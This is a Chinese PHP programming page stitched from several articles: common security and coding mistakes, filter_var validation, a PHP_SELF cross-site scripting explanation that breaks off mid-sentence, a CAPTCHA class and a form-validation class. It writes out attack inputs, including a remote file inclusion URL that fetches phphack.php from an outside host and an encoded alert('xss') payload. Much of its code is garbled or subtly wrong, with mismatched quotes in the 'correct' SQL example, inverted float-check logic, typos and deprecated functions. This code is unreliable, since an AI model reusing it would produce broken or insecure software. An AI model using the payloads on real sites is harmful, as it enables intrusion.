php 程序常犯错误总结

 更新时间:2016年11月25日 15:25  点击:1699

php 程序常犯错误总结

1.不转意html entities
一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:
<?php
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>

3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。

如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off
4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。
下面是一个快速但不全面的解决方法:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>

5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!

6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。

7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能
PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string

magic quotes on :
It's a string
又运行一次
addslashes():
It\'s a string

HTML输出:
It's a string

php安全过滤与实例教程
PHP过滤器是一个PHP的扩展,帮助你更容易,并且可靠的验证字符串和变量,这样,你就永远不会有可能对下面语句而担心受怕了:

<?php


include($_GET[‘filename’])

?>

甚至更坏的情况:

<?php


mysql_query(“INSERT INTO table (field) VALUES ({$_POST[‘value’]} “);


?>


变量过滤


通过使用过滤器来过滤变量,你可以使用 filter_var() 函数, 让我们来尝试验证一个变量是否为一个整形,例如:


$variable = 1122;


eecho filter_var($variable,FILTER_VALIDATE_INT);


因为这个变量里保存的是个整形,所以代码讲显示 1122. 如果我们的变量值为”a344”, 屏幕上将不会打印出任何内容,因为验证失败了。


好,好的,也许你说这无非一个有趣的把戏罢了,但是,还有更多, 让我们看看,当我们想确认我们的变量是个整形,它的范围在5到10之间,我们怎么做:

<?php


$variable = 6;


$minimum_value = 5;


$minimum_value = 10;


echo filter_var($variable,FILTER_VALIDATE_INT,array(“option”=>array(“min_range”=>$minimum_value,”max_range”=>$maximum_value)));

?>


这样,这个变量则必须在范围之内—就像上面的例子那样—数字6将会被显示在屏幕上。


php提供了一个真正的很好的方法来检测浮点值—对于我们来说最有用的就是在构建购物车的时候用来检查值是否有两位小数点。 例如下面将会显示”31.53”是一个合法的浮点数。


<?php

$num = 31.53;

if(filter_var($num,FILTER_VALIDATE_FLOAT)===false){


echo $num.” 是合法的”;

}else{


echo $num “ 是个不合法的浮点数”;

}


尝尝验证一个URL的格式? 你可能需要去查看RFC1738规范,然后打开你的PHP文本编辑器编写一个类,来验证它,这可能需要上千行代码,对不?


好了,实际上,PHP可以通过URL过滤器自动帮你做到这些:

<?php

$url = http://www.somewebsite.domain;

if(filter_var($url,FILTER_VALIDATE_URL) === FALSE){


echo $url.” 不是个合法的 URL<br />”;

}else{


echo $url.” 是个合法的URL<br/>”;

}


现在,你可能说,你说的这些东西对我没用: 邮件验证,对它的验证你肯定得通过正则表达式,不对么? 错了! PHP的FILTER_VALIDATE_EMAIL 可以使它变得非常简单,甚至不费吹灰之力:

<?php

$email = wxysky@somehost.com;

if(filter_var($email,FILTER_VALIDATE_EMAIL) === false){


echo $email.” 不合法”;

}else{


echo $email.” 合法”;

}


现在,你是不是觉得可以花时间来了解一下它呢?电子邮件验证是个大难题,特别对于初学者来说,以我看来,我们应该以拥有它们感到幸福。。。

但是,这些还仅仅不够,让我们在做些其他的是,比如删除字符串的HTML标签,怎样:

<?php

$string = “<p>text</p>”;

echo filter_var($string,FILTER_SANITIZE_STRING);

?>


这样,我们将得到一个不带标签的”text”;


结论:

在这里,我们看到了PHP过滤器可以做到的几个例子,当然最重要的是验证你的代码—就像我们所有知道的那样,但是实际怎么做确实另一回事。 我只想在这里给你,给写代码的朋友,无论你是个新手还是专家—一个被肯定的验证方式,来帮助你从坏的代码逐渐旅行到好的代码中来。你的代码一定是最好的,你可以做到

$_SERVER[’PHP_SELF’]在开发的时候常会用到,一般用来引用当前网页地址,并且它是系统自动生成的全局变量,也会有什么问题么?让我们先看看下面的代码吧:

<form action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”>
<input type=”submit” name=”submit” value=”submit” />
</form>
这段代码非常简单,我们想用$_SERVER[’PHP_SELF’]来让网页提交时提交到它自己,假设代码文件名为test.php,在执行的时候就一定会得到我们期望的地址么?首先试试地址http://…/test.php,结果当然是没有问题的啦,别着急,你再访问一下http://…/test.php/a=1,将会得到如下客户端代码:

<form action=”/fwolf/temp/test.php/a=1″>
<input type=”submit” name=”submit” value=”submit” />
</form>
显然,这已经超出了我们的期望,web服务器居然没有产生诸如404之类的错误,页面正常执行了,并且在生成的html代码中居然有用户可以输入的部分,恐怖的地方就在这里。别小看那个“a=1”,如果把它换成一段js代码,就显得更危险了,比如这么调用:

http://…/test.php/%22%3E%3Cscript%3Ealert(’xss’)%3C/script%3E%3Cfoo
是不是看到了js的alert函数执行的效果?检查一下生成的html源代码找找原因吧。

通过这种嵌入js代码的方式,攻击者能

php 图形验证码类
<img src="verify_image.php" alt="点此刷新验证码" name="verify_code" width="65" height="20" border="0" id="verify_code" onclick="document.getElementById('verify_code').src='verify_image.php?'+Math.random();" style="cursor:pointer;" />


复制代码字体文件见附件!

<?php

session_start();

 

$vi = new vCodeImage;

$vi->SetImage(1,4,65,20,80,1);

 

class vCodeImage{

 /*******************************************************

 **FILENAME: verify_image.php

 **COPYRIGHT: NONE! (但请保留此信息)

 **AUTHOR: vsFree.Com

 **DATE: 2007-08-08

 ********************************************************/

 

 var $mode;  //1:数字模式,2:字母模式,3:数字字母模式,其他:数字字母优化模式

 var $v_num;  //验证码个数

 var $img_w;  //验证码图像宽度

 var $img_h;  //验证码图像高度

 var $int_pixel_num;  //干扰像素个数

 var $int_line_num;  //干扰线条数

 var $font_dir;   //字体文件相对路径

 var $border;   //图像边框

 var $borderColor;  //图像边框颜色

 

 function SetImage($made,$v_num,$img_w,$img_h,$int_pixel_num,$int_line_num,$font_dir='../font',$border=true,$borderColor='255,200,85'){

  if(!isset($_SESSION['vCode'])){

   session_register('vCode');

  }

  $_SESSION['vCode']="";

 

  $this->mode = $made;

  $this->v_num = $v_num;

  $this->img_w = $img_w;

  $this->img_h = $img_h;

  $this->int_pixel_num = $int_pixel_num;

  $this->int_line_num = $int_line_num;

  $this->font_dir = $font_dir;

  $this->border = $border;

  $this->borderColor = $borderColor;

  $this->GenerateImage();

 }

 

 function GetChar($mode){

  if($mode == "1"){

   $ychar = "0,1,2,3,4,5,6,7,8,9";

  }

  else if($mode == "2"){

   $ychar = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z";

  }

  else if($mode == "3"){

   $ychar = "0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z";

  }

  else

   $ychar = "3,4,5,6,7,8,9,A,B,C,D,H,K,P,R,S,T,W,X,Y";

  return $ychar;

 }

 

 function RandColor($rs,$re,$gs,$ge,$bs,$be){

  $r = mt_rand($rs,$re);

  $g = mt_rand($gs,$ge);

  $b = mt_rand($bs,$be);

  return array($r,$g,$b);

 }

 

 function GenerateImage(){

  $im = imagecreate($this->img_w,$this->img_h);

 

  $black = imagecolorallocate($im, 0,0,0);

  $white = imagecolorallocate($im, 255,255,255);

  $bgcolor = imagecolorallocate($im, 250,250,250);

 

  imagefill($im,0,0,$bgcolor);

 

  $fonts = ScanDir($this->font_dir);

  $fmax = count($fonts) - 2;

 

  $ychar = $this->GetChar($this->mode);

  $list = explode(",",$ychar);

 

  $x = mt_rand(2,$this->img_w/($this->v_num+2));

  $cmax = count($list) - 1;

 

  $v_code = '';

 

  for($i=0;$i<$this->v_num;$i++) //验证码

  {

   $randnum = mt_rand(0,$cmax);

   $this_char = $list[$randnum];

   $v_code .= $this_char;

   $size = mt_rand(intval($this->img_w/5),intval($this->img_w/4));

   $angle = mt_rand(-20,20);

   $y = mt_rand(($size+2),($this->img_h-2));

   if($this->border)

    $y = mt_rand(($size+3),($this->img_h-3));

   $rand_color = $this->RandColor(0,200,0,100,0,250);

   $randcolor = imagecolorallocate($im,$rand_color[0],$rand_color[1],$rand_color[2]);

   $fontrand = mt_rand(2, $fmax);

   $font = "$this->font_dir/".$fonts[$fontrand];

   imagettftext($im, $size, $angle, $x, $y, $randcolor, $font, $this_char);

   $x = $x + intval($this->img_w/($this->v_num+1));

  }

 

  for($i=0;$i<$this->int_pixel_num;$i++){//干扰像素

   $rand_color = $this->RandColor(50,250,0,250,50,250);

   $rand_color_pixel = imagecolorallocate($im,$rand_color[0],$rand_color[1],$rand_color[2]);

   imagesetpixel($im, mt_rand()%$this->img_w, mt_rand()%$this->img_h, $rand_color_pixel);

  }

 

  for($i=0;$i<$this->int_line_num;$i++){ //干扰线

   $rand_color = $this->RandColor(0,250,0,250,0,250);

   $rand_color_line = imagecolorallocate($im,$rand_color[0],$rand_color[1],$rand_color[2]);

   imageline($im, mt_rand(0,intval($this->img_w/3)), mt_rand(0,$this->img_h), mt_rand(intval($this->img_w - ($this->img_w/3)),$this->img_w), mt_rand(0,$this->img_h), $rand_color_line);

  }

 

  if($this->border) //画出边框

  {

   if(preg_match("/^d{1,3},d{1,3},d{1,3}$/",$this->borderColor)){

    $borderColor = explode(',',$this->borderColor);

   }

   $border_color_line = imagecolorallocate($im,$borderColor[0],$borderColor[1],$borderColor[2]);

   imageline($im, 0, 0, $this->img_w, 0, $border_color_line); //上横

   imageline($im, 0, 0, 0, $this->img_h, $border_color_line); //左竖

   imageline($im, 0, $this->img_h-1, $this->img_w, $this->img_h-1, $border_color_line); //下横

   imageline($im, $this->img_w-1, 0, $this->img_w-1, $this->img_h, $border_color_line); //右竖

  }

 

  imageantialias($im,true); //抗锯齿

 

  $time = time();

  $_SESSION['vCode'] = $v_code."|".$time; //把验证码和生成时间负值给$_SESSION[vCode]

 

  //生成图像给浏览器

  if (function_exists("imagegif")) {

      header ("Content-type: image/gif");

      imagegif($im);

  }

  elseif (function_exists("imagepng")) {

      header ("Content-type: image/png");

      imagepng($im);

  }

  elseif (function_exists("imagejpeg")) {

      header ("Content-type: image/jpeg");

      imagejpeg($im, "", 80);

  }

  elseif (function_exists("imagewbmp")) {

      header ("Content-type: image/vnd.wap.wbmp");

      imagewbmp($im);

  }

  else

      die("No Image Support On This Server !");

 

  imagedestroy($im);

 }

}

 

php 表单敏感字符过滤代码
/**
* 表单生成验证文件
*/
$_form = new formHtmlFind();
class formHtmlFind{
        /**
         * 输出表单函数
         * $formKey  表单键
         * $infoArray 更新时的原始信息数组
         */

        public function formHtml($array,$infoArray='')
        {
                // 检测数组是否存在
                if(empty($array))return false;
                $newform = null;
                // 信息数组(更新信息)
                $this->infoArray = !empty($infoArray)?$infoArray:array();
                $this->array['class'] =  get_class_methods(get_class());
                foreach ($array as $key =>$arr)
                {
                        // 键值转换为纯英文
                        $key = preg_replace("/[^a-z]/i",'',$key);
                        // 生成表单
                        $newform .= $this->outputForm($arr,$key);
                }
                // 输出表单
                return $newform.$this->jsError();
        }
        /**
         * 生成表单函数
         */
        private function outputForm($arr,$key)
        {
                $value = null;
                if(empty($arr))return false;
                // input Type
                $type   = $key;
                // input NAME
                $name   = trim($arr[0]);
                // input 初始值 不包含多选,单选类
                $value  = (!empty($this->infoArray[$name]))? trim($this->infoArray[$name]):trim($arr[1]);
                $value  = empty($this->post[$name])? $value :trim($this->post[$name]);
                // input Title
                $title  = trim($arr[2]);
                // 样式
                $style  = trim($arr[3]);
                if($key!=="hidden")
                {
                        $dt = "<dt>{$title}</dt><dd>";
                        // js错误提示
                        $dd = "<tt id="J{$name}"></tt></dd>rn";
                }
                return (!preg_match("/checkbox|select|radio/i",$key))?
                $dt.$this->newInput($type,$name,$value,$style,$title).$dd:
                $this->formSelect($type,$name,$arr[1],$title,$style); // 多选类
        }
        /**
         * 提交数据检测
         */
        public function postForm($array)
        {
                // 检测数组是否存在
                if(empty($array)||empty($_POST))return false;
                $this->post           =  $_POST;
                $this->array['class'] =  get_class_methods(get_class());
                foreach ($array as $key =>$arr)
                {
                        // 键值转换为纯英文
                        $key = preg_replace("/[^a-z]/i",'',$key);
                        // 检测 注销file类表单
                        if (!empty($arr)&&'file' != $key)$newData[trim($arr[0])] = $this->postFind($arr,$key);
                }
                // 输出表单
                if(!empty($this->error))
                {
                        return false;
                }
                else return $newData;
        }
        /**
         * 生成表单
         */
        private function newInput($type,$name,$value,$style,$title)
        {
                switch ($type)
                {
                        case 'text':
                                // 单行文本
                                return  "<input type="text" name="{$name}" value="{$value}" {$style}/>";
                                break;
                        case 'password':
                                //密码输入
                                return "<input type="password" name="{$name}" {$style}/>";
                                break;
                        case '':
                                //多行文本
                                return "<textarea name="{$name}" {$style}/>{$value}</textarea>";
                                break;
                        case 'hidden':
                                // 隐藏
                                return "<input type="hidden" name="{$name}" value="{$value}" {$style}/>";
                                break;
                        case 'file':
                                // 文件上传
                                return "<input type= "file"name="{$name}" {$style}/>";
                                break;
                        case 'submit':
                                // 提交
                                return "<input type="submit" name="{$name}" value="$value" $style}/>";
                                break;
                        default:
                                return "{$type}类型错误!!!";
                                break;
                }
        }
        /**
         * 提交信息检测
         * 错误返回error
         */
        private function postFind($arr,$key)
        {
                if(empty($arr))return false;
                $name = $title =$error =$find =$standard =null;
                // input NAME
                $name     = trim($arr[0]);
                // input Title
                $title    = trim($arr[2]);
                // 错误提示
                $error    = trim($arr[4]);
                // 检测类型 Y N
                $find     = trim($arr[5]);
                // 检测标准
                $standard = trim($arr[6]);
                //
                if(!empty($standard))$this->error .=$this->ck_split($standard,$name,$title,$find,$error);
                // 转换为字符串
                if(is_array($this->post[$name]))$this->post[$name] = implode(",",$this->post[$name]);
                // 转义或其他转化
                $KKarray = array();
                if(preg_match("/Y|N/is",$find))
                {
                        $KKarray       = split("_", $find);
                        // 转义或过滤
                        $escape_filter = (!empty($KKarray[1]))?'ck_'.$KKarray[1]:'';
                        // 输出通过检测的合法数据
                        $data          = ($escape_filter)?$this->$escape_filter($this->post[$name]):$this->post[$name];

                }
                else  $data        = "";
                // 输出新的数据
                return $data;
        }
        /**
         * 多选类表单生成
         */
        private function formSelect($type,$name,$value,$title,$style)
        {
                $outform = null;
                // 触发更新和提交动作时的初始
                $nowvalue = (!empty($this->post[$name]))?$this->post[$name]:$this->infoarray[$name];
                // 兼容多选的识别,转为数组
                if(!empty($nowvalue))$valueArray = explode(",",$nowvalue);
                // 选项标题
                if(is_array($title))
                {
                        array_unshift($title,'选择');
                        $titarray = array_values($title);
                }else $titarray = explode("|",$title);
                // 选项值
                if(is_array($value))
                {
                        array_unshift($value,'选择');
                        $valarray  = array_keys($value);
                        if(empty($title))$titarray = array_values($value);
                }
                else $valarray = explode("|",$value);
                // 取消表单的初始默认值
                if(!empty($this->post)&&!empty($this->infoArray))$value = preg_replace("/Y_/i",'',$value);

                foreach ($valarray as $key =>$varl)
                {
                        // 非默认的识别
                        if(!empty($valueArray))$select   = (in_array($varl,$valueArray))?'Y':'';
                        //  判断是否为默认
                        else $select   = (eregi("Y_",$varl))? 'Y':'';

                        if($key >'0')
                        {
                                $_title=($titarray[$key])? $titarray[$key]:$title;
                                switch ($type)
                                {
                                        case 'select':
                                                if('Y' == $select)$select = 'selected';
                                                $outform .=        sprintf("<option %s value="%s"/>%s</option>rn"
                                                ,$select,preg_replace("/Y_/i",'',$varl),$_title);
                                                break;
                                        case 'radio':
                                                if('Y' == $select)$select = 'checked';
                                                $outform .= sprintf("<label>%s<input %s type="radio" name="%s" value="%s" %s/></label>rn",
                                                $_title,$select,$name,$varl,$style);
                                                break;
                                        case 'checkbox':
                                                if('Y' == $select)$select = 'checked';
                                                $outform .= sprintf("<label>%s<input %s type="checkbox" name="%s[]" value="%s" %s/></label>rn",$_title,$select,$name,$varl,$style);
                                                break;
                                }
                                $select =null;
                        }
                }
                // 下拉选择
                if($type =='select')$outform = sprintf('<select name="%s" %s>%s</select>',$name,$style,$outform);
                return sprintf("<dt>%s</dt><dd>%s<tt id="J%s"></tt></dd>rn",$titarray[0],$outform,$name);
        }
        /**
         * 表单验证 及全部 ck_类函数
         */
        private function ck_split($standard,$name,$title,$find,$error)
        {
                //  非必填缺省跳过
                if(eregi('N',$find) && empty($this->post[$name]))return false;
                // 必填缺省检测
                if(eregi('Y',$find) && empty($this->post[$name]))return "["J{$name}","$error"],";
                $t_error = null;
                // 多项检测
                $arr = explode(',',$standard);
                // POST数据检测
                if(!empty($arr))foreach ($arr as $var)
                {
                        if(trim($var)!='')
                        {
                                switch ($this->post)
                                {
                                        case is_array($this->post[$name]):
                                                // 数组类的检测
                                                foreach ($this->post[$name] as $_var)
                                                {
                                                        $t_error.= ($this->ck_open($_var,trim($var)))?"":$error;
                                                        if($t_error)break;
                                                }
                                                break;
                                        default:
                                                $t_error.= ($this->ck_open($this->post[$name],trim($var)))?"":$error;
                                                break;
                                }
                                if($t_error)break;
                        }
                }
                return ($t_error)? "["J{$name}","$t_error"],":"";
        }
        // 函数调用
        private function ck_open($string,$str)
        {
                $functi = $this->ck_detected($str);
                return ($this->$functi($string,$str))? true:false;
        }
        // 类型判断
        private function ck_detected($str)
        {
                $detect = (eregi("^[a-zA-Z]*$",$str))? "{$str}Detect":'lengthDetect';
                if(!in_array($detect,$this->array['class']))
                {
                        location('index.php',$ck,' Lack of function !!!');
                }
                return $detect;
        }
        //-------------------------------------以下为检测函数可外部调用
        // 长度
        public function lengthDetect($string,$str){
                $len = split('-',trim($str));
                return (strlen($string) > ($len[0]-1) && strlen($string) < ($len[1]+1))? true:false;
        }
        // 价格
        public function moneyDetect($str){
                return preg_match("/^(-|+)?d+(.d+)?$/",$str);
        }
        // 邮件
        public function emailDetect($str){
                return preg_match("/^w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*$/", $str);
        }
        // 网址
        public function urlDetect($str){
                return preg_match("/^http://[A-Za-z0-9]+.[A-Za-z0-9]+[/=?%-&_~`@[]':+!]*([^<>"])*$/", $str);
        }
        // 数字型
        public function numDetect($str){
                return is_numeric($str);
        }
        // 中文
        public function cnDetect($str){
                return preg_match("/^[x7f-xff]+$/", $str);
        }
        // 字母
        public function enDetect($str){
                return preg_match("/^[A-Za-z]+$/", $str);
        }
        // 数字字母混合
        public function numenDetect($str){
                return preg_match("/^([a-zA-Z0-9_-])+$/",$str);
        }
        // 电话号码
        public function telDetect($str){
                return ereg("^[+]?[0-9]+([xX-][0-9]+)*$", $str);
        }
        // 敏感词
        public function keyDetect($str){
                return (!preg_match("/$badkey/i",$str));
        }
        //-----------------------------------------------------输出
        // 字符替换
        public function ck_filter($str){
                $str=(is_array($str))? implode(",",$str):$str;
                $str=nl2br($str); //将回车替换为<br>
                $str=htmlspecialchars($str); //将特殊字元转成 HTML 格式。
                //$str=str_replace(array(" ",'<? '),array(" ",'< ?'),$str); //替换空格替换为
                return $str;
        }
        // 转义
        function ck_escape($str)
        {
                if (!get_magic_quotes_gpc())return addslashes($str);
                return $str;
        }
        // MD5加密
        public function ck_md5($str){
                return  MD5($str);
        }
        // base64加密
        public function ck_base64($str){
                return  base64_encode($str);
        }
        // 时间
        function ck_time($str){
                // time_r() 来在公用函数文件
                if(!is_numeric($str))
                {
                        return time_r($str);
                }
                else return $str;
        }
        // 有条件注销(数字)
        public function ck_cancel($str){
                return (!is_numeric($str))? $str:"";
        }
        // 无条件注销
        public function ck_delete(){
                return null;
        }
        // js错误提示
        private function jsError()
        {
                if(empty($this->error))return false;
                return  "
                <script  language=javascript> rn var error = new Array(".trim($this->error,',').");
                        rn for (i=0; i < error.length; i++){
                        rn document.getElementById(error[0]).innerHTML=error[1];
                         }rn </script>
                ";
        }
}

// 演示:
$form[1] =array(
'text'=>array('title','','产品名称','size=40','产品名称不可缺少!','Y','cn,1-30'),
'text1'=>array('categories','','产品名称','','','Y_base64'),
'select'=>array('superiors','||1|2|Y_3','产品类别|选择|1|2|3','','必选项','Y'),
'radio'=>array('superiors1','|1|Y_2|3','产品xun|产品1|产品2|产品3','','必选项','Y'),
'checkbox'=>array('superiors2',array(1=>'11',2=>'22',3=>'33'),'','','必选项','Y'),
'file'=>array('ddd','','文件'),
);
$form =array (
  'login' =>
  array (
    'text' =>
    array (
      0 => 'user',
      1 => '',
      2 => '用户名',
      3 => 'size=20',
      4 => '!',
      5 => 'Y',
      6 => 'numen,6-12',
    ),
    'password' =>
    array (
      0 => 'pass',
      1 => '',
      2 => '密 码',
      3 => 'size=22',
      4 => '密码格式错误!',
      5 => 'Y_md5',
      6 => 'numen,6-12',
    ),
    'radio' =>
    array (
      0 => 'time',
      1 => '|7200|3600|1800',
      2 => 'cookies有效时间|2小时|1小时|30分钟',
      3 => '',
      4 => '',
      5 => 'N_delete',
      6 => '',
    ),
  ),
  );

// 表单提交效验
$past = $_form->postForm($form['login']);
$dd = array('title'=>'标题','categories'=>'类别');
// $dd 为已有的信息(如更新时的信息输出) POST数据位内部处理具有优先权
if(!empty($past))
{
        echo "<pre>";
        print_r($past);
        echo"</pre>";
}
echo '<form method="POST" NAME="PostTopic" action="" enctype="multipart/form-data" style="margin:0px;">';
echo $_form->formHtml($form['login'],$dd);
echo '<input type="submit" value="Y" name="B1"></form>';
?>

[!--infotagslink--]

相关文章

  • Ecshop提示Only variables should be passed by reference in错误

    在安装好ecshop软件之后我们打开首页时提示Only variables should be passed by reference in错误了,碰到这个问题是什么原因呢?下面我们就一起来看看解决办法吧。...2016-11-25
  • 409错误是什么 http 409错误怎么解决

    409错误是什么?http 409错误怎么解决呢?不少站长在遇到这个错误代码之后都一筹莫展,本次一聚教程网为大家带来了详细的说明,快来看看吧。 409错误是什么: HTTP 40...2017-01-22
  • 414错误是什么 414错误怎么解决

    414错误是HTTP协议状态码中的一种,很多都还不知道414错误是什么,以及不知道怎么解决414错误,那么就来看看小编带来的介绍吧。 414错误是什么: HTTP 414错误,(Requ...2017-01-22
  • http 405错误是什么 http 405错误怎么解决

    http 405错误是什么?http 405错误怎么解决?相信很多站长都在找这两个问题的答案,本次小编为大家带来了详细的教程,快来看看吧。 405错误是什么: HTTP 405错误是H...2017-01-22
  • 401错误码代表什么 401错误解决办法

    401是HTTP状态码的一种,属于“请示错误”,表示请求可能出错,已妨碍了服务器对请求的处理。具体的401错误是指:未授权,请求要求进行身份验证。登录后,服务器可能会返回对页面...2017-01-22
  • http 402错误是什么 http 402简介

    http 402错误是什么?402错误较为少见,一般不轻易出现,下面小编就来告诉大家402错误是什么吧。 HTTP 402错误是HTTP状态码的一种,表示“要求付费”; 所求的...2017-01-22
  • 411错误是什么 411错误怎么解决

    411错误是HTTP协议状态码的一种,很多人都还不知道411错误是什么,本次一聚教程网将为大家进行解答,并且告诉大家411错误怎么解决。 411错误是什么: HTTP 411错误,(Lengt...2017-01-22
  • apache网站提示503错误解决办法

    Apache status 503 的原因大致有如下几种情况 : 1、 CPU 负载过高,服务器响应不过来,返回503 2、 系统连接数超限,超过MaxVhostClients的上限,返回503 3、 单IP连接数超限,超过M...2016-01-28
  • 404错误是什么 404错误怎么解决

    403错误是网站访问过程中,常见的错误提示。资源不可用,服务器理解客户的请求,但拒绝处理它。通常由于服务器上文件或目录的权限设置导致,比如IIS或者apache设置了访问权限...2017-01-22
  • C#开发Windows窗体应用程序的简单操作步骤

    这篇文章主要介绍了C#开发Windows窗体应用程序的简单操作步骤,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-04-12
  • 403错误是什么 403错误怎么解决

    403错误是HTTP状态码的一种,属于“请示错误”,表示服务器拒绝请求。如果在搜索引擎尝试抓取您网站上的有效网页时显示此状态代码,那么,这可能是您的服务器或主机拒绝搜索...2017-01-22
  • 412错误是什么 412错误怎么解决

    412错误是什么?412错误怎么解决?本次一聚教程网将为大家带来详细的介绍,帮助大家全面了解412错误的意思以及解决412错误的方法。 412错误是什么: HTTP 412错误,(Precond...2017-01-22
  • C++调用C#的DLL程序实现方法

    本文通过例子,讲述了C++调用C#的DLL程序的方法,作出了以下总结,下面就让我们一起来学习吧。...2020-06-25
  • HTTP 408错误是什么 HTTP 408错误解决方法

    相信很多站长都遇到过这样一个问题,访问页面时出现408错误,下面一聚教程网将为大家介绍408错误出现的原因以及408错误的解决办法。 HTTP 408错误出现原因: HTT...2017-01-22
  • 406错误是什么 406错误怎么解决

    HTTP 406错误是HTTP协议状态码的一种,表示无法使用请求的内容特性来响应请求的网页。一般是指客户端浏览器不接受所请求页面的 MIME 类型。 而MIME类型是在把输出...2017-01-22
  • 407错误是什么 407错误怎么解决

    407错误是什么?407错误怎么解决?不少站长都遇到过407错误,下面小编将告诉大家如何处理407错误。 407错误是什么: HTTP 407错误是HTTP协议状态码的一种,表示需要代...2017-01-22
  • 源码分析系列之json_encode()如何转化一个对象

    这篇文章主要介绍了源码分析系列之json_encode()如何转化一个对象,对json_encode()感兴趣的同学,可以参考下...2021-04-22
  • 410错误是什么 http 410错误怎么解决

    410错误是HTTP协议状态码的一种,本次一聚教程网将为大家详细介绍HTTP 410错误是什么,以及410错误的解决办法。 410错误是什么: HTTP 410错误是HTTP协议状态码的...2017-01-22
  • php中去除文字内容中所有html代码

    PHP去除html、css样式、js格式的方法很多,但发现,它们基本都有一个弊端:空格往往清除不了 经过不断的研究,最终找到了一个理想的去除html包括空格css样式、js 的PHP函数。...2013-08-02
  • HTTP 400错误是什么 HTTP 400错误怎么解决

    每当遇到http错误代码为400,代表客户端发起的请求不符合服务器对请求的某些限制,或者请求本身存在一定的错误,那么HTTP 400错误怎么解决呢?请看下文介绍。 目前400错...2017-01-22